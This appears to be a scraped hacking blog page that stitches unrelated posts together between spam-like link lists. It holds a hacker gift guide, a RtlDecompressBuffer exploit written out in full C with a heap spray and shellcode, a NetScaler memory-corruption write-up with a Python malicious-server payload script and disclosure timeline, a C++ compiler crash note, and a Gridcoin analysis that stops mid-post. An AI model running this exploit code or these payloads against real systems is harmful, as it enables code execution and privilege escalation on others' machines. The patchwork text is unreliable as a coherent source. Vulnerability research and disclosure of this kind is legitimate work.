Workshop And Presentation Slides And Materials

All of our previous workshop and presentation slides and materials are available in one location, from Google Drive.

From now on, we are only going to keep the latest-greatest version of each talk/workshop and announce changes on Twitter.

More information

• Hacking Vpn
• Pentest Security
• Hacking Linux
• Pentest Ubuntu
• Hacking The Art Of Exploitation
• Pentest Box
• Pentest Nmap

Top 10 Great Gifts For The Hacker In Your Life

Give gifts this holiday season that inspires your favorite hackers to make something great. Our ten top picks for gifts to make 'em smile are perfect for hackers of all styles, ages, and interests.

Holiday gift guides always struggle when faced with nailing down a list for hackers — that's because hackers are as diverse in their interests and fascinations as they are diverse in gender, color, size and everything else. Someone with a multi-focused set of curiosity and unique gifts for finding out what makes the crackable crack may seem like a daunting individual to stuff a stocking for … but don't fret. With a keen eye on the latest interests in hacker culture, we've got a gift guide that can make the hacker in your life smile as they enjoy using your gift to hack and explore throughout the coming year.

Anonymity online: The Onion Pi

One of the most popular "snake oil" (fake) privacy gadgets is the so-called "Tor in a box" — a plug-and-play gadget that promises to make you anonymous online. Nearly all of these are made by clueless charlatans whose products put you at risk for privacy and security breaches. But your favorite hacker can just make or build an "Onion Pi" for $69.95, and with this free tutorial.

Attribution Dice

With Attribution Dice ($20), anyone can be a high-priced security consultant, and predict breach headlines before PR firms have a chance to feed them to reporters! With every security breach, hackers roll their eyes when headlines and PR firms roll out the same old, same old terms, methods and culprits. Instead of rolling eyes, your hacker can roll the dice, and wow friends, family, and neighbors with their hacker cyber-powers.

21 Bitcoin Computer

Money is always a welcome gift. Give the gift of going hands-on with Bitcoin with the 21 Bitcoin Computer. "The 21 Bitcoin Computer is ideal for buying and selling digital goods and services. You can use it to create bitcoin-payable APIs, set up your own personal digital goods store, pay people to share your content online, or host online games of skill." It's not cheap ($395) and comes with controversy, but it's a cool toy with a lot of potential, and 21 Inc. is going to be releasing an open source package for the device soon.

Gentleman's Bogota Lockpicks and Clear Practice Lock

Conventional wisdom suggests that all hackers know how to pick locks, but can they do it in style? A perfect stocking stuffer for slick hackers of all genders is the Gentleman's Bogota lockpick set ($34.95). These featherweights pin discreetly to a collar, hat, sleeve, vest, hemline, or wherever they choose. If the hacker you're shopping for wants to learn to lockpick, or just brush up on technique, throw in the clever Clear Practice Lock ($34.95).

Inverse Path USB Armory

In this reviewer's opinion, every hacker should have a USB Armory in their stocking this year. The Inverse Path USB Armory ($130) is a little USB stick with an entire computer onboard (800MHz ARM processor, 512MB RAM), designed to be a portable platform for personal security applications — and lives up to its reputation as "the Swiss Army Knife of security devices."

Hack-A-Day Gift Card

The cornerstone of hacker culture Hack-A-Day has a store offering gift cards and merchandise a-plenty. In it, you'll find a Bukito portable 3D printer ($899.97), ever-popular Facedancer21 and Gootfet42, a low energy Bluetooth Arduino microcontroller called the Lightblue Bean, and the pocket-sized open source robot arm, Mearm.

Hackers 20th Anniversary Blu-Ray Edition

Hack the planet! The 20th anniversary of influential 1995 cyberpunk film "Hackers" was this year, and this cult classic got a special edition Blu-ray release, making it the must-have for the hackers in your life. The 20th anniversary "Hackers" Blu-ray features an hour-long "making of" documentary, rich video and audio transfer for the film itself, and interviews with: Cast members Matthew Lillard, Fisher Stevens, and Penn Jillette; hacking consultants Nicholas Jarecki and Emmanuel Goldstein; Director Iain Softley, and many more involved with the film's production and style.

A Hacker's hope for better sleep: The Re-Timer

Hackers are increasingly hacking themselves to make their own systems run better, and one thing hackers struggle with is their sleep cycles and feeling rested. Something that can help out is the Re-Timer ($299), a retro-future looking set of glasses and kit that adjusts the circadian rhythm and suppresses the body's production of melatonin (the sleepy hormone our bodies produce which makes us feel tired). Based on 25 years of research and on the market worldwide for three years, the Re-Timer has its own jet lag calculator app, as well as its Sleep App for Fitbit that makes a customized schedule based on actual sleep tracked.

USB Rubber Ducky Deluxe and LAN Turtle

A longtime favorite with hackers, penetration testers and IT professionals, the USB Rubber Ducky Deluxe ($42.99)is a cross-platform (Windows, Mac, Linux, Android) testing and experimentation device that is detected as a keyboard — imagine the possibilities. This stocking stuffer pairs well with its animal friend LAN Turtle ($50), a covert sysadmin and pentest tool for remote access, network intel gathering, and man-in-the-middle monitoring through a simple graphic shell (all in a generic USB ethernet adapter case).

TechShop Gift Certificate

Give the gift of hacking and making: A gift certificate to a TechShop. "Part fabrication and prototyping studio, part hackerspace, and part learning center, TechShop provides access to over $1 million worth of professional equipment and software. We offer comprehensive instruction and expert staff to ensure you have a safe, meaningful and rewarding experience." There are TechShops in Arizona, California, Michigan, Missouri, Pennsylvania, Texas, and Virginia/Washington, D.C. (some states have multiple locations). Future locations include St. Louis, MO and Paris, France.

Products to avoid

If you see these products, run! You're better off with a lump of coal. Don't waste precious holiday money on "snake oil" privacy and security products like these:

• Anonabox
• Wemagin
• Webcloak
• iGuardian (now SHIELD)
• LogMeOnce
• Sever: The Anti-Villain Box

Related posts

• Pentest With Kali Linux
• Pentest Vs Ethical Hacking
• Hacking The System
• Pentest Process
• Pentest Kit
• Pentest Gear
• Pentest Services
• Pentest Companies
• Hacker Lab
• Pentest With Kali Linux
• Pentest +
• Hacker Lab
• Pentest Basics
• Pentest Firewall
• Hacking Page

RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
  int result; // eax@4

  if ( algorithm & algorithm != 1 )
  {
    if ( algorithm & 0xF0 )
      result = -1073741217;
    else
      result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
  }
  else
  {
    result = -1073741811;
  }
  return result;
}

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.

let's check the disassembly on Win7 32bits:

• the movzx limits the boundaries to 16bits
• the test ax, ax avoids the algorithm 0
• the cmp ax, 1 avoids the algorithm 1
• the test al, 0F0h limits the boundary .. wait .. al?

Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 

So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:

And the exploit code:

/*
    ntdll!RtlDecompressBuffer() vtable exploit + heap spray
    by @sha0coder

*/

#include 
#include 
#include 

#define KB  1024
#define MB  1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9

// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/

// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
       "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
       "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
       "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
       "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
       "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
       "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
       "\x45\x81\x3e\x43\x72\x65\x61\x75"
       "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
       "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
       "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
       "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
       "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
       "\x6c\x63\x89\xe2\x52\x52\x53\x53"
       "\x53\x53\x53\x53\x52\x53\xff\xd7";


PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits

void fail(const char *msg) {
  printf("%s\n\n", msg);
  exit(1);
}

PUCHAR spray(HANDLE heap) {
  PUCHAR map = 0;

  printf("Spraying ...\n");
  printf("Aproximating to %p\n", landing_ptr);

  while (map < landing_ptr-1*MB) {
    map = HeapAlloc(heap, 0, 1*MB);
  }

  //map = HeapAlloc(heap, 0, 1*MB);

  printf("Aproximated to [%x - %x]\n", map, map+1*MB);


  printf("Landing adddr: %x\n", landing_ptr);
  printf("Offset of landing adddr: %d\n", landing_ptr-map);

  return map;
}

void landing_sigtrap(int num_of_traps) {
  memset(landing_ptr, 0xcc, num_of_traps);
}

void copy_shellcode(void) {
  memcpy(landing_ptr, shellcode, strlen(shellcode));

}

int main(int argc, char **argv) {
  FARPROC RtlDecompressBuffer;
  NTSTATUS ntStat;
  HANDLE heap;
  PUCHAR compressed, uncompressed;
  ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;

  RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");

  heap = GetProcessHeap();

  compressed_sz = estimated_uncompressed_sz = 1*KB;

  compressed = HeapAlloc(heap, 0, compressed_sz);

  uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);


  spray(heap);
  copy_shellcode();
  //landing_sigtrap(1*KB);
  printf("Landing ...\n");

  ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);

  switch(ntStat) {
    case STATUS_SUCCESS:
      printf("decompression Ok!\n");
      break;

    case STATUS_INVALID_PARAMETER:
      printf("bad compression parameter\n");
      break;


    case STATUS_UNSUPPORTED_COMPRESSION:
      printf("unsuported compression\n");
      break;

    case STATUS_BAD_COMPRESSION_BUFFER:
      printf("Need more uncompressed buffer\n");
      break;

    default:
      printf("weird decompression state\n");
      break;
  }

  printf("end.\n");
}

The attack vector

This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

Related links

1. Hacking Vpn
2. Hacking Google
3. Hacking Resources
4. Hacking Network
5. Hacker Forum
6. Hacker0Ne
7. Pentester Academy
8. Pentest Usb
9. Pentest Network
10. Hackerone
11. Pentest Partners
12. Pentest Practice
13. Pentest Online Course
14. Pentest Smtp
15. Pentest Documentation
16. Hacker Anonymous
17. Hacking Software
18. Pentest+ Vs Oscp
19. Hacking Device
20. Hacking Websites

Scaling The NetScaler

A few months ago I noticed that Citrix provides virtual appliances to test their applications, I decided to pull down an appliance and take a peek. First I started out by downloading the trial Netscaler VM (version 10.1-119.7) from the following location:

http://www.citrix.com/products/netscaler-application-delivery-controller/try.html

Upon boot, the appliance is configured with nsroot/nsroot for the login and password. I logged in and started looking around and noticed that the web application is written in PHP using the code igniter framework (screw that crap). Since code igniter abstracts everything with MVC and actual scripts are hidden behind routes I decided to take a look at the apache configuration. I noticed that apache was configured with a SOAP endpoint that was using shared objects (YUMMY):

/etc/httpd 

# SOAP handler
<Location /soap>
SetHandler gsoap-handler SOAPLibrary /usr/lib/libnscli90.so SupportLibrary /usr/lib/libnsapps.so </Location>

It wasn't clear what this end point was used for and it wasn't friendly if you hit it directly:

So I grep'd through the application code looking for any calls to this service and got a hit:

root@ns# grep -r '/soap' *
models/common/xmlapi_model.php: $this->soap_client = new nusoap_client("http://" . $this->server_ip . "/soap");

Within this file I saw this juicy bit of PHP which would have made this whole process way easier if it wasn't neutered with the hardcoded "$use_api = true;"

/netscaler/ns_gui/admin_ui/php/application/models/common/xmlapi_model.php

protected function command_execution($command, $parameters, $use_api = true) {
//Reporting can use API & exe to execute commands. To make it work, comment the following line.
$use_api = true; if(!$use_api)
{
$exec_command = "/netscaler/nscollect " . $this- >convert_parameters_to_string($command, $parameters);
$this->benchmark->mark("ns_exe_start");
$exe_result = exec($exec_command); $this->benchmark->mark("ns_exe_end");
$elapsed_time = $this->benchmark->elapsed_time("ns_exe_start",
"ns_exe_end");
log_message("profile", $elapsed_time . " --> EXE_EXECUTION_TIME " .
$command); $this->result["rc"] = 0;
$this->result["message"] = "Done"; $this->result["List"] = array(array("response" => $exe_result));
$return_value = 0;
} 

For giggles I set it to false and gave it a whirl, worked as expected :(

The other side of this "if" statement was a reference to making a soap call and due to the reference to the local "/soap" and the fact all roads from "do_login" were driven to this file through over nine thousand levels of abstraction it was clear that upon login the server made an internal request to this endpoint. I started up tcpdump on the loopback interface on the box and captured an example request:

root@ns# tcpdump -Ani lo0 -s0 port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo0, link-type NULL (BSD loopback), capture size 65535 bytes 23:29:18.169188 IP 127.0.0.1.49731 > 127.0.0.1.80: P 1:863(862) ack 1 win 33304 <nop,nop,timestamp 1659543 1659542>
E...>D@.@............C.P'R...2.............
..R...R.POST /soap HTTP/1.0
Host: 127.0.0.1
User-Agent: NuSOAP/0.9.5 (1.56)
Content-Type: text/xml; charset=ISO-8859-1
SOAPAction: ""
Content-Length: 708
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body> <ns7744:login xmlns:ns7744="urn:NSConfig"><username xsi:type="xsd:string">nsroot</username><password xsi:type="xsd:string">nsroot</password><clientip
xsi:type="xsd:string">192.168.166.1</clientip><cookieTimeout xsi:type="xsd:int">1800</cookieTimeout><ns xsi:type="xsd:string">192.168.166.138</ns></ns7744:login></SOAP-ENV:Body> </SOAP-ENV:Envelope>
23:29:18.174582 IP 127.0.0.1.80 > 127.0.0.1.49731: P 1:961(960) ack 863 win 33304 <nop,nop,timestamp 1659548 1659543>
E...>[@.@............P.C.2..'R.o.....\.....
..R...R.HTTP/1.1 200 OK
Date: Mon, 02 Jun 2014 23:29:18 GMT
Server: Apache
Last-Modified: Mon, 02 Jun 2014 23:29:18 GMT Status: 200 OK
Content-Length: 615
Connection: keep-alive, close
Set-Cookie: NSAPI=##7BD2646BC9BC8A2426ACD0A5D92AF3377A152EBFDA878F45DAAF34A43 09F;Domain=127.0.0.1;Path=/soap;Version=1
Content-Type: text/xml; charset=utf-8
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP- ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns="urn:NSConfig"> <SOAP-ENV:Header></SOAP-ENV:Header><SOAP-ENV:Body SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <ns:loginResponse><return xsi:type="ns:simpleResult"><rc xsi:type="xsd:unsignedInt">0</rc><message xsi:type="xsd:string">Done</message> </return></ns:loginResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>

I pulled the request out and started playing with it in burp repeater. The one thing that seemed strange was that it had a parameter that was the IP of the box itself, the client string I got...it was used for tracking who was making requests to login, but the other didn't really make sense to me. I went ahead and changed the address to another VM and noticed something strange:

According to tcpdump it was trying to connect to my provided host on port 3010:

root@ns# tcpdump -A host 192.168.166.137 and port not ssh
tcpdump: WARNING: BIOCPROMISC: Device busy
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on 0/1, link-type EN10MB (Ethernet), capture size 96 bytes 23:37:17.040559 IP 192.168.166.138.49392 > 192.168.166.137.3010: S 4126875155:4126875155(0) win 65535 <mss 1460,nop,wscale 1,nop,nop,timestamp 2138392 0,sackOK,eol>

I fired up netcat to see what it was sending, but it was just "junk", so I grabbed a pcap on the loopback interface on the netscaler vm to catch a normal transaction between the SOAP endpoint and the service to see what it was doing. It still wasn't really clear exactly what the data was as it was some sort of "binary" stream:

I grabbed a copy of the servers response and setup a test python client that replied with a replay of the servers response, it worked (and there may be an auth bypass here as it responds with a cookie for some API functionality...). I figured it may be worth shooting a bunch of crap back at the client just to see what would happen. I modified my python script to insert a bunch "A" into the stream:

import socket,sys
resp = "\x00\x01\x00\x00\xa5\xa5"+ ("A"*1000)+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
HOST = None # Symbolic name meaning all available interfaces
PORT = 3010 # Arbitrary non-privileged port
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
af, socktype, proto, canonname, sa = res
try:
s = socket.socket(af, socktype, proto)
except socket.error as msg:
s = None
continue
try:
s.bind(sa)
s.listen(1)
except socket.error as msg:
s.close()
s = None
continue
break
if s is None:
print 'could not open socket'
sys.exit(1)
conn, addr = s.accept()
print 'Connected by', addr
while 1:
data = conn.recv(1024)
if not data:
break
print 'sending!' conn.send(resp)
print 'sent!' conn.close()

Which provided the following awesome log entry in the Netscaler VM window:

Loading the dump up in gdb we get the following (promising looking):

And the current instruction it is trying to call:

An offset into the address 0x41414141, sure that usually works :P - we need to adjust the payload in a way that EDX is a valid address we can address by offset in order to continue execution. In order to do that we need to figure out where in our payload the EDX value is coming from. The metasploit "pattern_create" works great for this ("root@blah:/usr/share/metasploit-framework/tools# ./pattern_create.rb 1000"). After replacing the "A" *1000 in our script with the pattern we can see that EDX is at offset 610 in our payload:

Looking at the source of EDX, which is an offset of EBP we can see the rest of our payload, we can go ahead and replace the value in our payload at offset 610 with the address of EBP 

resp = "\x00\x01\x00\x00\xa5\xa5"+p[:610]+'\x78\xda\xff\xff'+p[614:]+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

When we run everything again and take a look at our core dump you can see we have progressed in execution and have hit another snag that causes a crash:

The crash was caused because once again the app is trying to access a value at an offset of a bad address (from our payload). This value is at offset 606 in our payload according to "pattern_offset" and if you were following along you can see that this value sits at 0xffffda78 + 4, which is what we specified previously. So we need to adjust our payload with another address to have EDX point at a valid address and keep playing whack a mole OR we can look at the function and possibly find a short cut:

If we can follow this code path keeping EDX a valid memory address and set EBP+12 (offset in our payload) to 0x0 we can take the jump LEAV/RET and for the sake of time and my sanity, unroll the call stack to the point of our control. You will have to trust me here OR download the VM and see for yourself (my suggestion if you have found this interesting :> )

And of course, the money shot:

A PoC can be found HERE that will spawn a shell on port 1337 of the NetScaler vm, hopefully someone has some fun with it :)

It is not clear if this issue has been fixed by Citrix as they stopped giving me updates on the status of this bug. For those that are concerned with the timeline:

6/3/14 - Bug was reported to Citrix
6/4/14 - Confirmation report was received
6/24/14 - Update from Citrix - In the process of scheduling updates
7/14/14 - Emailed asking for update
7/16/14 - Update from Citrix - Still scheduling update, will let me know the following week.
9/22/14 - No further communication received. Well past 100 days, public disclosure

Read more

• Hacker Google
• Pentest Vpn
• Hacking Games
• Pentest Network
• Pentest Report Generator
• Pentest Cyber Security
• Hacker Computer
• Hacker Computer
• Pentest Dns Server
• Pentest Red Team
• Hacking Books
• Pentest Windows
• Hacker Forum
• Hacker Website
• Pentest Guide
• Pentest Framework
• How To Pentest A Website With Kali
• Pentest Firewall
• Pentesting And Ethical Hacking
• Rapid7 Pentest

C++ Std::Condition_Variable Null Pointer Derreference

This story is about a bug generated by g++ and clang compilers (at least)
The condition_variables is a feature on the standard library of c++ (libstdc++), when its compiled statically a weird asm code is generated.


Any example on the link below will crash if its compiled statically:
 https://en.cppreference.com/w/cpp/thread/condition_variable

In this case the condition_variable.wait() crashed, but this happens with other methods, a simple way to trigger it:

If this program is compiled dynamically the crash doesn't occur:

Looking the dissasembly there is a surprise created by the compiler:

Compilers:
    g++  9.2.1+20200130-2
    clang++ v9

Both compilers are generating the "call 0x00"

If we check this call in a dynamic compiled:

The implementation of condition_variable in github:
https://github.com/gcc-mirror/gcc/blob/b7c9bd36eaacac42631b882dc67a6f0db94de21c/libstdc%2B%2B-v3/include/std/condition_variable

The compilers can't copile well this code in static,  and same happens on  other condition_variable methods.
I would say the _lock is being assembled improperly in static, is not exacly a null pointer derreference but the effects are the same, executing code at address 0x00 which on linux is a crash on most of cases.

Related posts

• Pentest With Kali
• Pentest Cyber Security
• Hacking Device
• Pentest Environment
• Pentest Windows
• Pentest Tools For Windows
• Hacking With Raspberry Pi
• Hacking Browser
• Hacker Google
• Hacker Website
• Pentest Bootcamp
• Hacker Videos
• Pentest Basics
• Pentest Hardware
• Pentest Xss
• Hacker Tools
• Hacker Google
• Hacking Page
• Pentest Reporting Tool
• Pentestgeek

Gridcoin - The Good

In this post we will take an in depth look at the cryptocurrency Gridcoin, we show how we found two critical design vulnerabilities and how we fixed them.

In the last past years we saw many scientific publications about cryptocurrencies. Some focused on theoretical parts [Source] and some on practical attacks against specific well-known cryptocurrencies, like Bitcoin [Source]. But in general there is a lack of practical research against alternative coins. Or did you know that there are currently over 830 currencies listed online? So we asked ourselves how secure are these currencies, and if they are not just re-branded forks of the Bitcoin source code?

Background

Gridcoin is an Altcoin, which is in active development since 2013. It claims to provide a high sustainability, as it has very low energy requirements in comparison to Bitcoin. It rewards users for contributing computation power to scientific projects, published on the BOINC project platform. Although Gridcoin is not as widespread as Bitcoin, its draft is very appealing as it attempts to eliminate Bitcoin's core problems. It possesses a market capitalization of $13,719,142 (2017/08/10).

Berkeley Open Infrastructure for Network Computing

To solve general scientific meaningful problems, Gridcoin draws on the well-known Berkeley Open Infrastructure for Network Computing (BOINC). It is a software platform for volunteer computing, initially released in 2002 and developed by the University of California, Berkeley. It is an open source software licensed under the GNU Lesser General Public License. The platform enables professionals in need for computation power to distribute their tasks to volunteers. Nowadays it is widely used by researchers with limited resources to solve scientific problems, for example, healing cancer, investigate global warming, finding extraterrestrial intelligence in radio signals and finding larger prime numbers.
When launching a BOINC project, its maintainer is required to set up his own BOINC server. Project volunteers may then create accounts (by submitting a username, a password and an email address) and work on specific project tasks, called workunits. The volunteers can process the project tasks and transfer their solutions with a BOINC client.

BOINC architecture

BOINC uses a client-server architecture to achieve its rich feature set. The server component handles the client requests for workunits and the problem solutions uploaded by the clients. The solutions are validated and assimilated by the server component. All workunits are created by the server component and each workunit represents a chunk of a scientific problem which is encapsulated into an application. This application consists of one or multiple in-/output files, containing binary or ASCII encoded parameters.

BOINC terminology

• iCPID
• The BOINC project server creates the internal Cross Project Identifier (iCPID) as a 16 byte long random value during account creation. This value is stored by the client and server. From this time on, the iCPID is included in every request and response between client and server
• eCPID
• The external Cross Project Identifier (eCPID) serves the purpose of identifying a volunteer across different BOINC projects without revealing the corresponding email address. It is computed by applying the cryptographic hash function MD5 to (iCPID,email) and thus has a length of 16 byte [Source].

eCPID = MD5(iCPID||email)

• Credits
• BOINC credits are generated whenever a host submits a solution to an assigned task. They are measured in Cobblestone, whereas one Cobblestone is equivalent to 1/200 of CPU time on a reference machine with 1,000 mega floating point operation per seconds [Source]
• Total Credit
• Total number of Cubblestones a user invested with his machines for scientific computations
• Recent Average Credit (RAC)
• RAC is defined as the average number of Cobblestones per day generated recently [Source]. If an entire week passes, the value is divided by two. Thus old credits are weakly weighted. It is recalculated whenever a host generates credit [Source].

Gridcoin

As a fork of Litecoin, Gridcoin-Research is a blockchain based cryptocurrency and shares many concepts with Bitcoin. While Bitcoin's transaction data structure and concept is used in an unmodified version, Gridcoin-Research utilizes a slightly modified block structure. A Gridcoin-Research block encapsulates a header and body. The header contains needed meta information and the body encloses transactions. Due to the hashPrevBlockHeader field, which contains the hash of the previous block-header, the blocks are linked and form the distributed ledger, the blockchain. Blocks in the blockchain are created by so called minters. Each block stores a list of recent transactions in its body and further metadata in its header. To ensure that all transactions are confirmed in a decisive order, each block-header field contains a reference to the previous one. To regulate the rate in which new blocks are appended to the blockchain and to reward BOINC contribution, Gridcoin-Research implements another concept called Proof-of-Research. Proof-of-Research is a combination of a new overhauled Proof-of-BOINC concept, which was originally designed for Gridcoin-Classic and the improved Proof-of-Stake concept, inspired by alternative cryptocurrencies.

Fig. 1: Gridcoin block structure

Gridcoin terminology

In order to understand the attacks we need to introduce some Gridcoin specific terms.

• eCPID
• Identifier value from BOINC used in Gridcoin to identify the researcher.
• CPIDv2
• contains a checksum to prove that the minter is the owner of the used eCPID. We fully describe the content of this field in the last attack section.
• GRCAddress
• contains the payment address of the minter.
• ResearchAge
• is defined as the time span between the creation time of the last Proof-of-Research generated block with the user's eCPID and the time stamp of the last block in the chain measured in days.
• RSAWeight
• estimates the user's Gridcoin gain for the next two weeks, based on the BOINC contribution of the past two weeks.

Proof-of-Stake

Proof-of-Stake is a Proof-of-Work replacement, which was first utilized by the cryptocurrency Peercoin in 2012. This alternative concept was developed to showcase a working Bitcoin related currency with low power consumption. Therefore, the block generation process has been overhauled. To create a new valid block for the Gridcoin blockchain the following inequality have to be satisfied:

SHA256(SHA256(kernel)) < Target * UTXO Value + RSAWeight

The kernel value represents the concatenation of the parameters listed in Table 2. The referenced unspent transaction output (UTXO) must be at least 16 hours old. The so called RSAWeight is an input value to the kernel computation, it's indicates the average BOINC work, done by a Gridcoin minter.
In direct comparison to Bitcoin's Proof-of-Work concept, it is notable that the hash of the previous block-header is not part of the kernel. Consequently, it is theoretically possible to create a block at any previous point in time in the past. To prevent this, Gridcoin-Research creates fixed interval checkpoint blocks. Once a checkpoint block is synchronized with the network, blocks with older time stamps became invalid. Considering the nature of the used kernel fields, a client with only one UTXO is able to perform a hash calculation each time nTime is updated. This occurs every second, as nTime is a UNIX time stamp. To be able to change the txPrev fields and thereby increase his hash rate, he needs to gain more UTXO by purchasing coins. Note that high UTXO and RSAWeight values mitigate the difficulty of the cryptographic puzzle, which increase the chance of finding a valid kernel. RSAWeight was explained above. Once a sufficient kernel has been found, the referenced UTXO is spent in a transaction to the creator of the block and included in the generated block. This consumes the old UTXO and generates a new one with the age of zero.

The Gridcoin-Research concept does not require much electrical power, because the maximum hash rate of an entity is limited by its owned amount of UTXOs with suitable age.

Proof-of-Research

Minters relying solely on the Proof-of-Stake rewards are called Investors. In addition to Proof-of-Stake, Gridcoin gives minters a possibility to increase their income with Proof-of-Research rewards. The Proof-of-Research concept implemented in Gridcoin-Research allows the minters to highly increase their block reward by utilizing their BOINC Credits. In this case the minter is called a Researcher.
To reward BOINC contribution, relevant BOINC data needs to be stored in each minted block. Therefore, the software uses the BOINCHash data structure, which is encapsulated in the first transaction of each block. The structure encloses the fields listed in Table 6. The minting and verification process is shown in Figure 2 and works as follows:

1. A minter (Researcher) participates in a BOINC project A and performs computational work for it. In return the project server increases the users Total Credit value on the server. The server therefore stores the minter's email address, iCPID, eCPID and RAC.
2. Statistical websites contact project server and down-load the statistics for all users from the project server (A).
3. After the user earns credits, his RAC increases. Consequently, this eases the finding of a solution for the Proof-of-Stake cryptographic puzzle, and the user can create (mint) a block and broadcast it to the Gridcoin network.
4. Another minter (Investor or Researcher) will receive the block and validate it. Therefore, he extracts the values from the BOINCHash data structure inside the block.
5. The minter uses the eCPID from the BOINCHash to request the RAC and other needed values from a statistical website and compares them to the data extracted from the BOINCHash structure, in the event that they are equal and the block solves the cryptographic puzzle, the block is accepted.

 Fig. 2: Gridcoin architecture and minting process

Reward calculation

